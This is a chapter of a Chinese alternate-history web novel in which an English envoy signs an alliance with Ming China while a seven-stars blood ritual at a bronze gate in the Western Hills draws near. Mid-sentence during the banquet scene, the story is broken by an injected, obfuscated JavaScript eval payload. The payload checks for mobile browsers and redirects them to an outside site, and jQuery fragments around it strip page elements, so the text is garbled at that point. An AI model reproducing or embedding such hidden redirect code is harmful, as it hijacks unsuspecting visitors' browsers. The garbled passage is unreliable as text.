四月初八那场君臣对弈后，西山青铜门的事，表面上像是被搁置了。


    工部的匠人去了三拨，回来都摇头：


    “王爷，那锁孔里的机括精巧得邪乎，七个孔得同时用七把不同的钥匙开——错一个，门就彻底焊**。


    而且……”


    老匠人压低声音，


    “那锁芯的材料，不像铜，不像铁，黑黢黢的，用锉刀试了试，连道印子都没留下。


    苏惟瑾听了，只点点头：


    “知道了。


    门先封着，加双岗。


    可暗地里，锦衣卫的探子撒得更开了。


    徐阶在太湖画舫上露了一面后，又消失得无影无踪。


    那七个锁孔前发现的七滴人血，经格物大学医学科技验，确认来自七个人，血型各异，但都有一个共同点——血液里含有极微量的、类似西夏黑水城遗址土壤中的特殊矿物成分。


    “像是某种……仪式。


    徐光启拿着化验报告，眉头紧锁，


    “黑水城那边，早年出土过一些西夏巫术文献，记载过‘七星血祭’的邪法，说是要用七个不同生辰、不同血脉的人血为引，在七星连珠之夜开启‘地门’。


    苏惟瑾站在窗前，望着西山方向：


    “七星连珠原本在八月十五，但钦天监说，可能提前到五月初。


    “那就是……不到一个月了。


    空气凝重。


    就在这时，陆松快步进来，脸上带着罕见的振奋：


    “王爷，天津港急报——英国使者的船队到了！


    这次来了六艘船，为首的还是那个约翰·霍金斯。


    他说……带来了英吉利女王伊丽莎白一世的亲笔信。


    苏惟瑾转身，眼中精光一闪。


    来得正是时候。


    四月十五，英国使团住进了会同馆。


    这次阵仗比上次大得多。


    六艘船，三艘是战船，挂着英国都铎王朝的玫瑰旗；三艘是货船，装满了呢绒、铅块、锡器，还有几十箱新奇的“西洋玩意”。


    霍金斯本人也升了官，如今是“英王陛下东印度事务全权特使”，穿着一身绣金线的深红天鹅绒外套，帽子插着羽毛，走路带风。


    可一进北京城，这位特使就有点蔫了。


    不是怕，是震撼。


    四年前他来时，北京城虽繁华，但总觉得蒙着层灰——那是嘉靖朝末年特有的暮气。


    可这次不一样了。


    从通州进京的官道拓宽了，铺了碎石，马车跑起来又快又稳；路两边新栽了树，每隔十里还有个驿站，供行人歇脚喝水。


    进城后更了不得：主街两旁的店铺招牌擦得锃亮，卖玻璃器皿的、卖自鸣钟的、卖西洋镜的，竟有好几家；行人穿着也体面，不少读书人打扮的，手里拿着新出的《格物学报》，边走边看。


    “上帝啊……”


    霍金斯对身边的副使嘀咕，


    “这地方……变化也太快了。


    副使是个年轻的贵族，叫威廉·塞西尔，是英国国务大臣的侄子，第一次来东方。


    他睁大眼睛看着街景：


    “先生，您确定这是中国？


    不是阿姆斯特丹或者伦敦？


    “我确定。


    霍金斯苦笑，


    “而且我敢打赌，咱们带来的那些礼物……人家可能都看不上眼了。


    果然，第二天觐见时，霍金斯就感觉到了差距。


    乾清宫里，小皇帝朱载重坐在龙椅上，一身明黄龙袍，气度沉稳。


    苏惟瑾站在御阶下首，穿着靖海王常服，神色平静。


    两边文武百官肃立，鸦雀无声。


    霍金斯捧着国书上前，用刚学会的汉语朗声诵读——虽然发音古怪，但态度恭敬。


    读完，他献上女王的亲笔信。


    信是用拉丁文和英文双语的，装在镶金边的羊皮纸封套里。


    内容很直接，开头是客套的问候，但很快切入正题：


    “……听闻东方有邪恶组织‘圣殿遗产会’，屡次危害贵国，其爪牙亦伸向欧洲，蛊惑法王、西王，意图重建十字军，将上帝的怒火燃遍世界。


    此等狂徒，实乃文明世界之公敌……”


    看到这里，朱载重微微侧头，看了苏惟瑾一眼。


    苏惟瑾几不可察地点点头。


    信继续：


    “英吉利愿与大明结为友邦，共享情报，互助互保。


    若贵国允准，我国可提供欧洲最新军事情报、科学技术，并承诺在印度洋及以东海域，与大明海军协同行动，共御邪魔……”


    最后是具体的提议：签订《大明-英格兰友好通商及安全协定》。


    霍金斯念完，殿内安静了片刻。


    然后苏惟瑾出列了。


    “贵使远来辛苦。


    他开口，用的是流利的拉丁语——这下连霍金斯都惊了，


    “女王陛下的提议，我朝陛下已阅。


    然具体条款，还需斟酌。


    霍金斯定了定神，也用拉丁语回道：


    “靖海王殿下，我国诚意十足。


    圣殿遗产会在欧洲势力庞大，已渗透西班牙宫廷，据说正在游说法王，意图组建新的‘神圣同盟’。


    若让他们得逞，东西方都将不得安宁。


    “本王知道。


    苏惟瑾微微一笑，


    “所以这盟，要结。


    但怎么结，得谈谈。


    谈判设在礼部衙门。


    大明这边，苏惟瑾为主，礼部尚书徐光启、户部侍郎陈廷敬为辅。


    英国那边，霍金斯为主，威廉·塞西尔和一位随船的博物学家约翰·迪为辅。


    第一天，谈的是核心条款。


    苏惟瑾提出四条：一、两国互派常驻使节，使节享有外交豁免权；二、英方需定期提供欧洲最新科技、军事情报，尤其是关于圣殿遗产会的动向；三、大明给予英国对华贸易最惠国待遇，但不得优于葡萄牙——这是照顾老盟友的面子；四、双方海军在印度洋可相互补给、协同巡逻。


    霍金斯听完，想了想：


    “第一条、第四条，我国完全同意。


    第二条……提供情报可以，但希望贵国也能分享东方的情报，尤其是关于圣殿遗产会在亚洲的活动。


    “可以。


    苏惟瑾点头，


    “第三条呢？


    “第三条……”


    霍金斯苦笑，


    “殿下，葡萄牙人在澳门经营多年，我国刚来，若待遇不如他们，商人那边不好交代。


    可否……至少持平？


    苏惟瑾看向徐光启。


    徐光启会意，翻开一本账册：


    “贵使请看，去年澳门港对华贸易总额，折银二百四十万两。


    其中葡萄牙商人纳税三十万两，另缴港口使用费、仓储费等八万两。


    若英国商人愿按此标准纳税缴费，待遇自可持平。


    霍金斯和塞西尔对视一眼——这账算得清楚，没毛病。


    “好，持平就持平。


    霍金斯咬牙，


    “但我方还有个额外请求。


    “请讲。


    “我国正在与西班牙的无敌舰队对抗，急需优质火炮和硝石。


    贵国能否……出售一些？


    这话一出，连陈廷敬都皱了皱眉。


    火炮和硝石是战略物资，卖给外国，万一将来翻脸……


    苏惟瑾却笑了：


    “可以。


    “殿下？


    ！


    陈廷敬低声惊呼。


    苏惟瑾摆摆手，对霍金斯道：


    “但只能出售旧式火炮，且每年限量。


    硝石……可按市价交易，但需贵国保证，不用来对付大明的朋友。


    “旧式火炮？


    霍金斯有些失望。


    “旧式，也是改良过的。


    苏惟瑾淡淡道，


    “射程、精度、装填速度，比你们现在用的至少强三成。


    要不要？


    “要！


    霍金斯立刻点头——有总比没有强。


    第一天谈判，基本框架就敲定了。


    接下来的三天，抠细节。


    关税税率、港口准入、情报交换机制、海军协作流程……一条条过。


    英国那个博物学家迪，是个技术痴，对大明的新式农具、纺织机、钟表格外感兴趣，拉着徐光启问个不停。


    徐光启也不藏私，有些能说的都说了——反正核心技术都在格物大学，外人学不去。


    到第四天，协定草案已成。


    四月二十，太和殿。


    签字仪式办得隆重。


    黄案上铺着明黄锦缎，两份协定文本，一份汉文一份英文，并排摆放。


    用的笔墨都是特制的，墨里掺了金粉，写出来字迹闪闪发光。


    霍金斯第一次用毛笔，手抖得厉害，签完名额头都是汗。


    苏惟瑾倒是熟练，笔走龙蛇，“苏惟瑾”三个字力透纸背。


    小皇帝朱载重全程观礼，等两人签完，他起身举杯：


    “愿大明与英吉利，友谊长存，共御邪魔！


    “友谊长存！


    霍金斯用汉语高喊，虽然发音滑稽，但诚意十足。


    当晚，乾清宫赐宴。


    菜肴琳琅满目，有些连霍金斯都没见过。


    最让他惊叹的是一道“烤鸭”——鸭子皮脆肉嫩，用薄饼卷着葱丝、甜面酱吃，香得他差点把舌头吞下去。


    “贵使喜欢？


    朱载重笑问。


    “陛下，这简直是天堂的美味！


    霍金斯赞不绝口。


    宴至半酣，霍金斯起身献礼。


    第一件是伊丽莎白一世的肖像画，画在橡木板上，女王穿着华丽的蓬蓬裙，戴着珍珠项链，神态威严又美丽。


    第二件是台新式机械钟，鎏金外壳，镶着宝石，走时精准，还能整点报时。


    朱载重饶有兴趣地看着那钟：


    “比朕宫里的那座还好。


    苏惟瑾回礼。


    第一件是景德镇特制的伊丽莎白一世瓷像，用的是最新釉彩工艺，女王的面容栩栩如生，衣裙上的金线在烛光下流光溢彩。


    霍金斯一看就呆了——这工艺，欧洲绝对没有。


    第二件是《永乐大典》的精选刻本，装了十二个檀木箱子。


    徐光启介绍：


    “此乃我中华文明之瑰宝，收录古今典籍八千余种。


    愿女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262379|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王陛下能从中了解东方智慧。


    霍金斯郑重接过，他知道这份礼物的分量——这是文化的认可。


    宴席散时，霍金斯借着酒意，拉着苏惟瑾低声道：


    “殿下，有件事……得私下说。


    两人走到偏殿。


    “这次来之前，”


    霍金斯声音压得极低，


    “我们在里斯本的眼线传回消息，说圣殿遗产会最近频繁接触西班牙高层，好像在谋划一次‘大行动’。


    时间……可能在今年夏天。


    目标……不清楚，但眼线听到一个词，反复出现。


    “什么词？


    “东方之门。


    霍金斯盯着苏惟瑾，


    “殿下知道这是什么吗？


    苏惟瑾心头一震，面上却不动声色：


    “或许是指马六甲？


    或者澳门？


    “不像。


    霍金斯摇头，


    “他们提到这个词时，总伴随着‘七星’‘血祭’这些古怪的词。


    我怀疑……跟贵国最近的某些异象有关。


    他顿了顿：


    “殿下，圣殿遗产会疯了。


    他们真以为能打开什么‘门’，召唤出不得了的东西。


    我们得联手，尽快。


    “本**白。


    苏惟瑾点头，


    “情报共享，从今天就开始。


    送走英国使团，已是深夜。


    苏惟瑾回到王府，没急着休息，而是进了书房。


    陆松等在那里，脸色凝重。


    “王爷，西山急报。


    他递上一张纸条，


    “青铜门前那七滴血……位置移动了。


    苏惟瑾接过纸条，上面画着简单的示意图——七滴血原本呈北斗状排列，如今却向中心聚拢了半寸。


    “什么时候发现的？


    “今晚戌时三刻。


    守卫每隔一个时辰记录一次位置，这次突然变了。


    陆松顿了顿，


    “还有，徐光启那边送来消息，说钦天监观测到，七星连珠的速度又加快了。


    现在推算……可能就在十天后。


    “十天后？


    苏惟瑾瞳孔一缩，


    “五月初五？


    “是。


    苏惟瑾走到窗前，望着夜空。


    繁星点点，北斗七星高悬北方，勺柄指向——正是西山。


    “东方之门……”


    他喃喃道。


    忽然，他想起霍金斯的话：圣殿遗产会真以为能打开什么‘门’，召唤出不得了的东西。


    难道青铜门后，真是所谓的“东方之门”？


    而圣殿遗产会谋划数年，甚至渗透徐家、勾结宗室、煽动叛乱，就为了在七星连珠之夜，用七人之血打开它？


    门后……到底是什么？


    “王爷，”


    陆松又开口，声音更低了，


    “还有件事。


    锦衣卫在江南查到线索，徐阶失踪前，曾秘密会见过一个西洋人。


    那人手腕上……有金雀花纹的刺青。


    而根据眼线描述，那人的长相，很像……”


    “像谁？


    “像当年在月港被咱们击毙的那个‘陈爷’——黑巫师在亚洲的头目。


    苏惟瑾猛地转身：


    “他不是**吗？


    “尸体当时被烧焦了，难以辨认。


    陆松咽了口唾沫，


    “但现在想想……会不会是金蝉脱壳？


    书房里烛火跳动。


    苏惟瑾沉默良久，忽然笑了，笑得冰冷：


    “好，好得很。


    假死脱身，潜伏数年，就为了等七星连珠这一天。


    他看向陆松：


    “传令下去，十天内，盯死西山，盯死所有可疑人物。


    还有——”


    他顿了顿：


    “让周大山从蓟辽调一千精锐，秘密回京。


    五月初五之前，驻扎西山外围。


    若真有什么‘门’要开……咱们也得有准备。


    “是！


    陆松退下后，苏惟瑾独自站在书房里，从怀中掏出那半块徐璠的玉佩。


    玉佩在烛光下泛着温润的光，边缘的裂痕清晰可见。


    另半块……在青铜门后的尸体手里。


    徐家父子，金雀花会，七星血祭，东方之门……


    这一切，终于要见分晓了。


    中英结盟，协定签署，共同对抗圣殿遗产会。


    然霍金斯透露的“东方之门”情报，与西山青铜门、七星血祭线索完全吻合！


    更骇人的是，当年月港黑巫师头目“陈爷”可能未死，且与徐阶秘密会面！


    五月初五，七星连珠之夜提前到来，仅剩十天！


    就在苏惟瑾调兵布防之际，锦衣卫急报：西山守卫在青铜门前的地面上，发现了第七滴血——而这滴血的位置，赫然指向北斗第七星“摇光”！


    与此同时，江南暗桩冒死传讯：徐阶重现太湖，身边多了六个神秘人，七人手腕皆有金雀花纹！


    难道徐阶本人就是“第七个祭品”？


    而西山青铜门开启的代价，竟是这位致仕首辅的性命？


    十天后，当七星连线，血祭完成，“东方之门”开启之时，门后涌出的……究竟会是何方神圣？